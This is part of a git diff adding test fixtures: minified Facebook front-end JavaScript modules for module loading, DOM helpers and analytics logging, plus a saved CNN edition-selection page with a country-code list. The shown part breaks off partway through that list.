+__d("ErrorUtils",["Env"],function(a,b,c,d,e,f){var g=b('Env'),h=[],i=[],j=10,k=window.chrome&&'type' in new Error(),l=/^(\s+at\s)?((\w+)?.*)(\(|@)?.*(https?:[^:]*)(:(\d+))?(:(\d+))?/mg;function m(y){if(!y)return;y=y.split(/\n\n/)[0];l.lastIndex=0;var z=[],aa;while(aa=l.exec(y))z.push(' at '+(aa[3]||'')+(aa[3]?'(':'')+aa[5]+':'+aa[7]+(aa[9]?':'+aa[9]:'')+(aa[3]?')':''));return z.length?z.join('\n'):y;}function n(y){if(!y){return {};}else if(y._originalError)return y;var z={line:y.lineN [...]
+__d("hasArrayNature",[],function(a,b,c,d,e,f){function g(h){return (!!h&&(typeof h=='object'||typeof h=='function')&&('length' in h)&&!('setInterval' in h)&&(Object.prototype.toString.call(h)==="[object Array]"||('callee' in h)||('item' in h)));}e.exports=g;});
+__d("createArrayFrom",["hasArrayNature"],function(a,b,c,d,e,f){var g=b('hasArrayNature');function h(i){if(!g(i))return [i];if(i.item){var j=i.length,k=new Array(j);while(j--)k[j]=i[j];return k;}return Array.prototype.slice.call(i);}e.exports=h;});
+__d("Arbiter",["ErrorUtils","copyProperties","createArrayFrom","hasArrayNature"],function(a,b,c,d,e,f){var g=b('ErrorUtils'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('hasArrayNature');if(!window.async_callback)window.async_callback=function(m,n){return m;};function k(){h(this,{_listeners:[],_events:{},_callbacks:{},_last_id:1,_listen:{},_index:{}});h(this,k);}h(k,{SUBSCRIBE_NEW:'new',SUBSCRIBE_ALL:'all',BEHAVIOR_EVENT:'event',BEHAVIOR_PERSISTENT:'persistent',BEHAVIOR_STATE:'state [...]
+__d("ArbiterMixin",["Arbiter"],function(a,b,c,d,e,f){var g=b('Arbiter'),h={_getArbiterInstance:function(){return this._arbiter||(this._arbiter=new g());},inform:function(i,j,k){return this._getArbiterInstance().inform(i,j,k);},subscribe:function(i,j,k){return this._getArbiterInstance().subscribe(i,j,k);},unsubscribe:function(i){this._getArbiterInstance().unsubscribe(i);},registerCallback:function(i,j){this._getArbiterInstance().registerCallback(i,j);}};e.exports=h;});
+__d("legacy:ArbiterMixin",["ArbiterMixin"],function(a,b,c,d){a.ArbiterMixin=b('ArbiterMixin');},3);
+__d("ge",[],function(a,b,c,d,e,f){function g(j,k,l){return typeof j!='string'?j:!k?document.getElementById(j):h(j,k,l);}function h(j,k,l){var m,n,o;if(i(k)==j){return k;}else if(k.getElementsByTagName){n=k.getElementsByTagName(l||'*');for(o=0;o<n.length;o++)if(i(n[o])==j)return n[o];}else{n=k.childNodes;for(o=0;o<n.length;o++){m=h(j,n[o]);if(m)return m;}}return null;}function i(j){var k=j.getAttributeNode&&j.getAttributeNode('id');return k?k.value:null;}e.exports=g;});
+__d("$",["ge"],function(a,b,c,d,e,f){var g=b('ge');function h(i){var j=g(i);return j;}e.exports=h;});
+__d("CSS",["$"],function(a,b,c,d,e,f){var g=b('$'),h='hidden_elem',i={setClass:function(j,k){g(j).className=k||'';return j;},hasClass:function(j,k){j=g(j);if(j.classList)return !!k&&j.classList.contains(k);return (' '+j.className+' ').indexOf(' '+k+' ')>-1;},addClass:function(j,k){j=g(j);if(k)if(j.classList){j.classList.add(k);}else if(!i.hasClass(j,k))j.className=j.className+' '+k;return j;},removeClass:function(j,k){j=g(j);if(k)if(j.classList){j.classList.remove(k);}else if(i.hasClass( [...]
+__d("legacy:css-core",["CSS"],function(a,b,c,d){a.CSS=b('CSS');},3);
+__d("legacy:dom-core",["$","ge"],function(a,b,c,d){a.$=b('$');a.ge=b('ge');},3);
+__d("Parent",["CSS"],function(a,b,c,d,e,f){var g=b('CSS'),h={byTag:function(i,j){j=j.toUpperCase();while(i&&i.nodeName!=j)i=i.parentNode;return i;},byClass:function(i,j){while(i&&!g.hasClass(i,j))i=i.parentNode;return i;},byAttribute:function(i,j){while(i&&(!i.getAttribute||!i.getAttribute(j)))i=i.parentNode;return i;}};e.exports=h;});
+__d("legacy:parent",["Parent"],function(a,b,c,d){a.Parent=b('Parent');},3);
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});
+__d("legacy:emptyFunction",["emptyFunction"],function(a,b,c,d){a.emptyFunction=b('emptyFunction');},3);
+__d("function-extensions",["createArrayFrom"],function(a,b,c,d,e,f){var g=b('createArrayFrom');Function.prototype.curry=function(){var h=g(arguments);return this.bind.apply(this,[null].concat(h));};Function.prototype.shield=function(h){if(typeof this!='function')throw new TypeError();var i=this.bind.apply(this,g(arguments));return function(){return i();};};Function.prototype.defer=function(h,i){if(typeof this!='function')throw new TypeError();h=h||0;return setTimeout(this,h,i);};},3);
+__d("isEmpty",[],function(a,b,c,d,e,f){function g(h){if(h instanceof Array){return h.length===0;}else if(h instanceof Object){for(var i in h)return false;return true;}else return !h;}e.exports=g;});
+__d("CSSLoader",["isEmpty"],function(a,b,c,d,e,f){var g=b('isEmpty'),h=20,i=5000,j,k,l={},m=[],n,o={};function p(t){if(k)return;k=true;var u=document.createElement('link');u.onload=function(){j=true;u.parentNode.removeChild(u);};u.rel='stylesheet';u.href='data:text/css;base64,';t.appendChild(u);}function q(){var t,u=[],v=[];if(Date.now()>=n){for(t in o){v.push(o[t].signal);u.push(o[t].error);}o={};}else for(t in o){var w=o[t].signal,x=window.getComputedStyle?getComputedStyle(w,null):w.cu [...]
+__d("Bootloader",["function-extensions","Arbiter","CSSLoader","Env","createArrayFrom"],function(a,b,c,d,e,f){b('function-extensions');var g=b('Arbiter'),h=b('CSSLoader'),i=b('Env'),j=b('createArrayFrom'),k={},l={},m={},n=null,o={},p={},q=false,r=[];function s(w,x,y,z){var aa=v.done.curry([y],w=='css');if(w=='js'){var ba=document.createElement('script');ba.src=x;ba.async=true;var ca=o[y];if(ca&&ca.crossOrigin&&i.crossorigin_attribute)ba.crossOrigin='anonymous';ba.onload=ba.onerror=aa;ba.o [...]
+__d("BlueBarController",["Bootloader","CSS"],function(a,b,c,d,e,f){var g=b('Bootloader'),h=b('CSS');f.init=function(i){if('getBoundingClientRect' in i){var j=function(){var k=i.getBoundingClientRect(),l=Math.round(k.top)-document.documentElement.clientTop;h.conditionClass(i.firstChild,'fixed_elem',l<=0);};j();g.loadModules(['Event'],function(k){k.listen(window,'scroll',j);});}};});
+__d("legacy:arbiter",["Arbiter"],function(a,b,c,d){a.Arbiter=b('Arbiter');},3);
+__d("event-form-bubbling",[],function(a,b,c,d,e,f){a.Event=a.Event||function(){};a.Event.__inlineSubmit=function(g,event){var h=(a.Event.__getHandler&&a.Event.__getHandler(g,'submit'));return h?null:a.Event.__bubbleSubmit(g,event);};a.Event.__bubbleSubmit=function(g,event){if(document.documentElement.attachEvent){var h;while(h!==false&&(g=g.parentNode))h=g.onsubmit?g.onsubmit(event):a.Event.__fire&&a.Event.__fire(g,'submit',event);return h;}};},3);
+__d("OnloadEvent",[],function(a,b,c,d,e,f){var g={ONLOAD:'onload/onload',ONLOAD_CALLBACK:'onload/onload_callback',ONLOAD_DOMCONTENT:'onload/dom_content_ready',ONLOAD_DOMCONTENT_CALLBACK:'onload/domcontent_callback',ONBEFOREUNLOAD:'onload/beforeunload',ONUNLOAD:'onload/unload'};e.exports=g;});
+__d("Run",["Arbiter","OnloadEvent"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('OnloadEvent'),i='onunloadhooks',j='onafterunloadhooks',k=g.BEHAVIOR_STATE;function l(ba){var ca=a.CavalryLogger;ca&&ca.getInstance().setTimeStamp(ba);}function m(){return !window.loading_page_chrome;}function n(ba){var ca=a.OnloadHooks;if(window.loaded&&ca){ca.runHook(ba,'onlateloadhooks');}else u('onloadhooks',ba);}function o(ba){var ca=a.OnloadHooks;if(window.afterloaded&&ca){setTimeout(function(){ca.runH [...]
+__d("legacy:onload",["Run","OnloadEvent"],function(a,b,c,d){var e=b('Run');a.OnloadEvent=b('OnloadEvent');a.onloadRegister_DEPRECATED=e.onLoad;a.onloadRegister=function(){return e.onLoad.apply(this,arguments);};a.onafterloadRegister_DEPRECATED=e.onAfterLoad;a.onafterloadRegister=function(){return e.onAfterLoad.apply(this,arguments);};a.onleaveRegister=e.onLeave;a.onbeforeunloadRegister=e.onBeforeUnload;a.onunloadRegister=e.onUnload;},3);
+__d("wait_for_load",["Bootloader","Run"],function(a,b,c,d,e,f){var g=b('Bootloader'),h=b('Run');function i(l,m){return window.loaded&&m.call(l);}function j(l,m,n){g.loadComponents.call(g,m,n.bind(l));return false;}function k(l,m,n){n=n.bind(l,m);if(window.loaded)return n();switch((m||event).type){case 'load':case 'focus':h.onAfterLoad(n);return;case 'click':var o=l.style,p=document.body.style;o.cursor=p.cursor='progress';h.onAfterLoad(function(){o.cursor=p.cursor='';if(l.tagName.toLowerC [...]
+__d("Intl",[],function(a,b,c,d,e,f){var g;function h(j){if(typeof j!='string')return false;return j.match(new RegExp(h.punct_char_class+'['+')"'+"'"+'\u00BB'+'\u0F3B'+'\u0F3D'+'\u2019'+'\u201D'+'\u203A'+'\u3009'+'\u300B'+'\u300D'+'\u300F'+'\u3011'+'\u3015'+'\u3017'+'\u3019'+'\u301B'+'\u301E'+'\u301F'+'\uFD3F'+'\uFF07'+'\uFF09'+'\uFF3D'+'\\s'+']*$'));}h.punct_char_class='['+'.!?'+'\u3002'+'\uFF01'+'\uFF1F'+'\u0964'+'\u2026'+'\u0EAF'+'\u1801'+'\u0E2F'+'\uFF0E'+']';function i(j){if(g){var k [...]
+__d("tx",["Intl"],function(a,b,c,d,e,f){var g=b('Intl');function h(j,k){if(!k)return j;var l='\\{([^}]+)\\}('+g.endsInPunct.punct_char_class+'*)',m=new RegExp(l,'g'),n=[],o=j.replace(m,function(r,s,t){var u=k[s];if(u&&typeof u==='object'){n.push(u);return '\x17'+t;}return u+(g.endsInPunct(u)?'':t);}).split('\x17').map(g.applyPhonologicalRules);if(o.length===1)return o[0];var p=[o[0]];for(var q=0;q<n.length;q++)p.push(n[q],o[q+1]);return p;}function i(j,k){if(typeof _string_table=='undefi [...]
+__d("legacy:intl-core",["tx"],function(a,b,c,d){var e=b('tx');a.tx=e;a._tx=e._;},3);
+__d("array-extensions",[],function(a,b,c,d,e,f){Array.prototype.contains=function(g){return this.indexOf(g)!=-1;};Array.prototype.remove=function(g){var h=this.indexOf(g);if(h!=-1)this.splice(h,1);};},3);
+__d("JSCC",["isEmpty"],function(a,b,c,d,e,f){var g=b('isEmpty'),h={},i={};function j(m){var n,o=false;return function(){if(!o){n=m();o=true;}return n;};}function k(m,n){if(g(m))return;for(var o in m){h[o]=j(m[o]);if(n){if(!i[n])i[n]=[];i[n].push(o);}}}var l={get:function(m){if(!h[m])throw new Error('JSCC entry is missing');return h[m]();},init:function(m){k(m);},initForPagelet:function(m,n){k(n,m);},clearForPagelet:function(m){if(i[m]){for(var n=0;n<i[m].length;n++){var o=i[m][n];delete [...]
+__d("ServerJS",["function-extensions","ErrorUtils","copyProperties","ge"],function(a,b,c,d,e,f){b('function-extensions');var g=b('ErrorUtils'),h=b('copyProperties'),i=b('ge'),j=0;function k(){this._moduleMap={};this._relativeTo=null;this._moduleIDsToCleanup={};}h(k.prototype,{handle:function(o){if(o.__guard)throw new Error('ServerJS.handle called on data that has already been handled');o.__guard=true;l(o.define||[],this._handleDefine,this);l(o.markup||[],this._handleMarkup,this);l(o.elem [...]
+__d("invokeCallbacks",["ErrorUtils"],function(a,b,c,d,e,f){var g=b('ErrorUtils');function h(i,j){if(i)for(var k=0;k<i.length;k++)g.applyWithGuard(new Function(i[k]),j);}e.exports=h;});
+__d("BigPipe",["Arbiter","Bootloader","Env","ErrorUtils","JSCC","OnloadEvent","Run","ServerJS","$","copyProperties","ge","hasArrayNature","invokeCallbacks"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Bootloader'),i=b('Env'),j=b('ErrorUtils'),k=b('JSCC'),l=b('OnloadEvent'),m=b('Run'),n=b('ServerJS'),o=b('$'),p=b('copyProperties'),q=b('ge'),r=b('hasArrayNature'),s=b('invokeCallbacks'),t=document.documentMode||+(/MSIE.(\d+)/.exec(navigator.userAgent)||[])[1],u=g.BEHAVIOR_STATE,v=g.BEHAVI [...]
+__d("legacy:bootloader",["Bootloader"],function(a,b,c,d){a.Bootloader=b('Bootloader');},3);
+__d("Class",["function-extensions","Arbiter"],function(a,b,c,d,e,f){b('function-extensions');var g=b('Arbiter'),h={},i=null,j={extend:function(r,s){if(!i)i=g.subscribe(g.BOOTLOAD,l);if(typeof s=='string'){k(r,s);}else m(r,s);}};function k(r,s){r.__class_extending=true;var t=g.registerCallback(m.curry(r,s),[g.FUNCTION_EXTENSION+'/'+s,g.BOOTLOAD]);if(t!==null)h[s]=true;}function l(){for(var r in h)if(!!a[r]){delete h[r];if(!a[r].__class_extending){g.inform(g.FUNCTION_EXTENSION+'/'+r,true,g [...]
+__d("legacy:Class",["Class"],function(a,b,c,d){a.Class=b('Class');},3);
+__d("legacy:constructor-cache",["JSCC"],function(a,b,c,d){a.JSCC=b('JSCC');},3);
+__d("goURI",[],function(a,b,c,d,e,f){function g(h,i,j){h=h.toString();if(!i&&a.PageTransitions&&PageTransitions.isInitialized()){PageTransitions.go(h,j);}else if(window.location.href==h){window.location.reload();}else window.location.href=h;}e.exports=g;});
+__d("legacy:goURI",["goURI"],function(a,b,c,d){a.goURI=b('goURI');},3);
+__d("InitialJSLoader",["Arbiter","Bootloader","OnloadEvent","Run","ServerJS"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Bootloader'),i=b('OnloadEvent'),j=b('Run'),k=b('ServerJS'),l={INITIAL_JS_READY:'BOOTLOAD/JSREADY',loadOnDOMContentReady:function(m,n){g.subscribe(i.ONLOAD_DOMCONTENT_CALLBACK,function(){function o(){h.loadResources(m,function(){g.inform(l.INITIAL_JS_READY,true,g.BEHAVIOR_STATE);});}if(n){setTimeout(o,n);}else o();});},handleServerJS:function(m){var n=new k();n.handl [...]
+__d("lowerDomain",[],function(a,b,c,d,e,f){if(document.domain.toLowerCase().match(/(^|\.)facebook\..*/))document.domain=window.location.hostname.replace(/^.*(facebook\..*)$/i,'$1');});
+__d("legacy:object-core-utils",["copyProperties","isEmpty"],function(a,b,c,d){var e=b('copyProperties');function f(g,h){return e(window[g]||(window[g]={}),h);}a.is_empty=b('isEmpty');a.add_properties=f;a.copyProperties=e;},3);
+__d("PlaceholderListener",["Arbiter","CSS","Parent"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('CSS'),i=b('Parent'),j=document.documentElement,k=function(m){m=m||window.event;var n=m.target||m.srcElement;if(n.getAttribute('data-silentPlaceholderListener'))return;var o=n.getAttribute('placeholder');if(o){var p=i.byClass(n,'focus_target');if('focus'==m.type||'focusin'==m.type){var q=n.value.replace(/\r\n/g,'\n'),r=o.replace(/\r\n/g,'\n');if(q==r&&h.hasClass(n,'DOMControl_placeholder')){ [...]
+__d("clickRefAction",["Arbiter"],function(a,b,c,d,e,f){var g=b('Arbiter');function h(l,m,n,o,p){var q=l+'/'+m;this.ue=q;this._ue_ts=l;this._ue_count=m;this._context=n;this._ns=null;this._node=o;this._type=p;}h.prototype.set_namespace=function(l){this._ns=l;return this;};h.prototype.coalesce_namespace=function(l){if(this._ns===null)this._ns=l;return this;};h.prototype.add_event=function(){return this;};var i=0,j=[];function k(l,m,event,n,o){var p=Date.now(),q=event&&event.type;o=o||{};if( [...]
+__d("trackReferrer",["Parent"],function(a,b,c,d,e,f){var g=b('Parent');function h(i,j){i=g.byAttribute(i,'data-referrer');if(i){var k=/^(?:(?:[^:\/?#]+):)?(?:\/\/(?:[^\/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?/.exec(j)[1]||'';if(!k)return;var l=k+'|'+i.getAttribute('data-referrer'),m=new Date();m.setTime(Date.now()+1000);document.cookie="x-src="+encodeURIComponent(l)+"; "+"expires="+m.toGMTString()+";path=/; domain="+window.location.hostname.replace(/^.*(\.facebook\..*)$/i,'$1');}return i [...]
+__d("Miny",[],function(a,b,c,d,e,f){var g='Miny1',h={encode:[],decode:{}},i='wxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('');function j(n){for(var o=h.encode.length;o<n;o++){var p=o.toString(32).split('');p[p.length-1]=i[parseInt(p[p.length-1],32)];p=p.join('');h.encode[o]=p;h.decode[p]=o;}return h;}function k(n){var o=n.match(/\w+|\W+/g),p={};for(var q=0;q<o.length;q++)p[o[q]]=(p[o[q]]||0)+1;var r=Object.keys(p);r.sort(function(u,v){return p[u]<p[v]?1:(p[v]<p[u]?-1:0);});var s=j(r.length).e [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];Object.keys(k).forEach(function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q]=p.length===2?decodeURICo [...]
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("XHR",["Env"],function(a,b,c,d,e,f){var g=b('Env'),h=1,i={create:function(){try{return a.XMLHttpRequest?new a.XMLHttpRequest():new ActiveXObject("MSXML2.XMLHTTP.3.0");}catch(j){}},getAsyncParams:function(j){var k={__user:g.user,__a:1,__req:(h++).toString(36)};if(j=='POST'&&g.fb_dtsg)k.fb_dtsg=g.fb_dtsg;if(g.fb_isb)k.fb_isb=g.fb_isb;if(g.fbtrace_id)k.fbtrace_id=g.fbtrace_id;return k;}};e.exports=i;});
+__d("BanzaiAdapter",["Arbiter","Miny","QueryString","Run","UserAgent","XHR","BanzaiConfig"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Miny'),i=b('QueryString'),j=b('Run'),k=b('UserAgent'),l=b('XHR'),m=null,n=new g(),o=c('BanzaiConfig'),p='/ajax/bz',q={},r=q.adapter={config:o,inform:function(s){n.inform(s);},subscribe:function(s,t){n.subscribe(s,t);},cleanup:function(){if(m&&m.readyState<4)m.abort();if(m){delete m.onreadystatechange;m=null;}},readyToSend:function(){var s=k.ie()<=8?tru [...]
+__d("pageID",[],function(a,b,c,d,e,f){e.exports=Math.floor(2147483648*Math.random()).toString(36);});
+__d("startsWith",[],function(a,b,c,d,e,f){function g(h,i,j){var k=String(h);j=Math.min(Math.max(j||0,0),k.length);return k.lastIndexOf(String(i),j)===j;}e.exports=g;});
+__d("Banzai",["BanzaiAdapter","pageID","startsWith"],function(a,b,c,d,e,f){var g=b('BanzaiAdapter'),h=g.adapter,i=b('pageID'),j=b('startsWith'),k='Banzai',l='sequencer',m,n,o,p=[],q={};function r(){if(o&&o.posts.length>0){p.push(o);o=null;}if(!o)o={page_id:i,trigger:null,posts:[]};if(g.isEnabled(l))o.sequence=[];}function s(w){var x=Date.now()+w;if(!n||x<n){n=x;clearTimeout(m);m=setTimeout(t,w,false);return true;}}function t(){n=null;s(g.BASIC.delay);if(!h.readyToSend())return;h.inform(g [...]
+__d("userAction",["Arbiter","Banzai","copyProperties"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Banzai'),i=b('copyProperties'),j=50,k=[],l={},m={};function n(u,v,w,x,event){var y=u+'/'+v,z=t(x);i(this,{ue:y,_uai_logged:false,_uai_timeout:null,_primary:{},_fallback:{},_default_ua_id:z||'-',_default_action_type:event?event.type:'-',_ts:u,_ns:w,_start_ts:u,_prev_event:'s',_ue_ts:u,_ue_count:v,_data_version:1,_event_version:2,_info_version:2});this._log('ua:n',[1,y]);}var o={store:true, [...]
+__d("Primer",["function-extensions","Bootloader","CSS","ErrorUtils","Parent","clickRefAction","trackReferrer","userAction"],function(a,b,c,d,e,f){b('function-extensions');var g=b('Bootloader'),h=b('CSS'),i=b('ErrorUtils'),j=b('Parent'),k=b('clickRefAction'),l=b('trackReferrer'),m=b('userAction'),n=null,o=/async(?:-post)?|dialog(?:-post)?|theater|toggle/,p=document.documentElement;function q(t,u){t=j.byAttribute(t,u);if(!t)return;do{var v=t.getAttribute(u);JSON.parse(v).forEach(function(w [...]
+__d("QuicklingPrelude",[],function(a,b,c,d,e,f){var g=/^(?:(?:[^:\/?#]+):)?(?:\/\/(?:[^\/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?/,h='';window.location.href.replace(g,function(i,j,k,l){var m,n,o;m=n=j+(k?'?'+k:'');if(l){l=l.replace(/^(!|%21)/,'');o=l.charAt(0);if(o=='/'||o=='\\')m=l.replace(/^[\\\/]+/,'/');}if(m!=n){if(window._script_path)document.cookie="rdir="+window._script_path+"; path=/; domain="+window.location.hostname.replace(/^.*(\.facebook\..*)$/i,'$1');window.location.replace(h [...]
+__d("SubmitOnEnterListener",["Bootloader","CSS"],function(a,b,c,d,e,f){var g=b('Bootloader'),h=b('CSS');document.documentElement.onkeydown=function(i){i=i||window.event;var j=i.target||i.srcElement,k=i.keyCode==13&&!i.altKey&&!i.ctrlKey&&!i.metaKey&&!i.shiftKey&&h.hasClass(j,'enter_submit');if(k){g.loadModules(['DOM','Input','trackReferrer','Form'],function(l,m,n,o){if(!m.isEmpty(j)){var p=j.form,q=l.scry(p,'.enter_submit_target')[0]||l.scry(p,'[type="submit"]')[0];if(q){var r=o.getAttri [...]
+__d("CommentPrelude",["CSS","Parent","clickRefAction","userAction"],function(a,b,c,d,e,f){var g=b('CSS'),h=b('Parent'),i=b('clickRefAction'),j=b('userAction');function k(o,p){j('ufi',o).uai('click');i('ufi',o,null,'FORCE');return l(o,p);}function l(o,p){var q=h.byTag(o,'form');m(q);var r=g.removeClass.curry(q,'hidden_add_comment');if(window.ScrollAwareDOM){window.ScrollAwareDOM.monitor(q,r);}else r();if(p!==false)(q.add_comment_text_text||q.add_comment_text).focus();return false;}functio [...]
+__d("legacy:ufi-comment-prelude-js",["CommentPrelude"],function(a,b,c,d){var e=b('CommentPrelude');a.fc_click=e.click;a.fc_expand=e.expand;},3);
diff --git a/src/test/resources/s/cf/editionvars.htm b/src/test/resources/s/cf/editionvars.htm
new file mode 100644
index 0000000..fb5c172
--- /dev/null
+++ b/src/test/resources/s/cf/editionvars.htm
@@ -0,0 +1,314 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<!-- saved from url=(0073)http://edition.cnn.com/.element/ssi/misc/3.0/editionvars.html?&csiID=csi2 -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+
+<script>
+ var cnnDocDomain = "";
+
+ if (location.hostname.indexOf("cnn.com") > 0)
+ cnnDocDomain = "cnn.com";
+
+ if (location.hostname.indexOf("turner.com") > 0)
+ cnnDocDomain = "turner.com";
+
+ if (cnnDocDomain)
+ document.domain = cnnDocDomain;
+ </script><script type="text/javascript" src="csi_include.js"></script>
+</head>
+<body onload="cnnSend()">
+<form name="mainForm">
+<textarea id="jsCode">(
+ {
+ "edtn_htmldiv" : "cnn_hdr-promptcntnt",
+ "edtn_prehtml" : "<span id=\"hdr-prompt-text\">",
+ "edtn_posthtml" : "</span>",
+ "edtn_clshtml" : "<a href=\"javascript:cnn_clseditionhtml();\" id=\"hdr-prompt-close\">Close <img src=\"http://i.cdn.turner.com/cnn/.element/img/3.0/1px.gif\" width=\"7\" height=\"7\" class=\"cnn_hdr-cbttn\" /></a>",
+
+ "pref_msg" : "",
+
+ "www" : {
+
+ "edtn_msgs" : {
+ "def_msg" : "<span id=\"hdr-prompt-text\">You've selected the U.S. Edition. Would you like to make this your default edition? <a href=\"javascript:cnn_stedtnckie('www');\">Yes</a> | <a href=\"javascript:cnn_stedtnckie('edition');\">No</a></span><img id=\"cnn_hdr-arrow\" src=\"http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hat/arrow_black.png\" width=\"19\" height=\"26\" class=\"hdr-arrow-us cnn_dynone cnn_ie [...]
+ "brwsr_msg" : "<span id=\"hdr-prompt-text\">It looks like you are from outside the U.S. Would you like to make International your default edition? <a href=\"javascript:cnn_stedtnckie('edition', '1');\">Yes</a> | <a href=\"javascript:cnn_stedtnckie('www');\">No</a></span><img id=\"cnn_hdr-arrow\" src=\"http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hat/arrow_black.png\" width=\"19\" height=\"26\" class=\"hdr- [...]
+ "sm_msg" : ""
+ },
+ "edtn_ccodes" : {
+
+"A1" : "Anonymous Proxy",
+"A2" : "Satellite Provider",
+"O1" : "Other Country",
+"AD" : "Andorra",
+"AE" : "United Arab Emirates",
+"AF" : "Afghanistan",
+"AG" : "Antigua and Barbuda",
+"AI" : "Anguilla",
+"AL" : "Albania",
+"AM" : "Armenia",
+"AN" : "Netherlands Antilles",
+"AO" : "Angola",
+"AP" : "Asia/Pacific Region",
+"AQ" : "Antarctica",
+"AR" : "Argentina",
+"AS" : "American Samoa",
+"AT" : "Austria",
+"AU" : "Australia",
+"AW" : "Aruba",
+"AX" : "Aland Islands",
+"AZ" : "Azerbaijan",
+"BA" : "Bosnia and Herzegovina",
+"BB" : "Barbados",
+"BD" : "Bangladesh",
+"BE" : "Belgium",
+"BF" : "Burkina Faso",
+"BG" : "Bulgaria",
+"BH" : "Bahrain",
+"BI" : "Burundi",
+"BJ" : "Benin",
+"BM" : "Bermuda",
+"BN" : "Brunei Darussalam",
+"BO" : "Bolivia",
+"BR" : "Brazil",
+"BS" : "Bahamas",
+"BT" : "Bhutan",
+"BV" : "Bouvet Island",
+"BW" : "Botswana",
+"BY" : "Belarus",
+"BZ" : "Belize",
+"CA" : "Canada",
+"CC" : "Cocos (Keeling) Islands",
+"CD" : "Congo, The Democratic Republic of the",
+"CF" : "Central African Republic",
+"CG" : "Congo",
+"CH" : "Switzerland",
+"CI" : "Cote d'Ivoire",
+"CK" : "Cook Islands",
+"CL" : "Chile",
+"CM" : "Cameroon",
+"CN" : "China",
+"CO" : "Colombia",
+"CR" : "Costa Rica",
+"CU" : "Cuba",
+"CV" : "Cape Verde",
+"CX" : "Christmas Island",
+"CY" : "Cyprus",
+"CZ" : "Czech Republic",
+"DE" : "Germany",
+"DJ" : "Djibouti",
+"DK" : "Denmark",
+"DM" : "Dominica",
+"DO" : "Dominican Republic",
+"DZ" : "Algeria",
+"EC" : "Ecuador",
+"EE" : "Estonia",
+"EG" : "Egypt",
+"EH" : "Western Sahara",
+"ER" : "Eritrea",
+"ES" : "Spain",
+"ET" : "Ethiopia",
+"EU" : "Europe",
+"FI" : "Finland",
+"FJ" : "Fiji",
+"FK" : "Falkland Islands (Malvinas)",
+"FM" : "Micronesia, Federated States of",
+"FO" : "Faroe Islands",
+"FR" : "France",
+"GA" : "Gabon",
+"GB" : "United Kingdom",
+"GD" : "Grenada",
+"GE" : "Georgia",
+"GF" : "French Guiana",
+"GG" : "Guernsey",
+"GH" : "Ghana",
+"GI" : "Gibraltar",
+"GL" : "Greenland",
+"GM" : "Gambia",
+"GN" : "Guinea",
+"GP" : "Guadeloupe",
+"GQ" : "Equatorial Guinea",
+"GR" : "Greece",
+"GS" : "South Georgia and the South Sandwich Islands",
+"GT" : "Guatemala",
+"GU" : "Guam",
+"GW" : "Guinea-Bissau",
+"GY" : "Guyana",
+"HK" : "Hong Kong",
+"HM" : "Heard Island and McDonald Islands",
+"HN" : "Honduras",
+"HR" : "Croatia",
+"HT" : "Haiti",
+"HU" : "Hungary",
+"ID" : "Indonesia",
+"IE" : "Ireland",
+"IL" : "Israel",
+"IM" : "Isle of Man",
+"IN" : "India",
+"IO" : "British Indian Ocean Territory",
+"IQ" : "Iraq",
+"IR" : "Iran, Islamic Republic of",
+"IS" : "Iceland",
+"IT" : "Italy",
+"JE" : "Jersey",
+"JM" : "Jamaica",
+"JO" : "Jordan",
+"JP" : "Japan",
+"KE" : "Kenya",
+"KG" : "Kyrgyzstan",
+"KH" : "Cambodia",
+"KI" : "Kiribati",
+"KM" : "Comoros",
+"KN" : "Saint Kitts and Nevis",
+"KP" : "Korea, Democratic People's Republic of",
+"KR" : "Korea, Republic of",
+"KW" : "Kuwait",
+"KY" : "Cayman Islands",
+"KZ" : "Kazakhstan",
+"LA" : "Lao People's Democratic Republic",
+"LB" : "Lebanon",
+"LC" : "Saint Lucia",
+"LI" : "Liechtenstein",
+"LK" : "Sri Lanka",
+"LR" : "Liberia",
+"LS" : "Lesotho",
+"LT" : "Lithuania",
+"LU" : "Luxembourg",
+"LV" : "Latvia",
+"LY" : "Libyan Arab Jamahiriya",
+"MA" : "Morocco",
+"MC" : "Monaco",
+"MD" : "Moldova, Republic of",
+"ME" : "Montenegro",
+"MG" : "Madagascar",
+"MH" : "Marshall Islands",
+"MK" : "Macedonia",
+"ML" : "Mali",
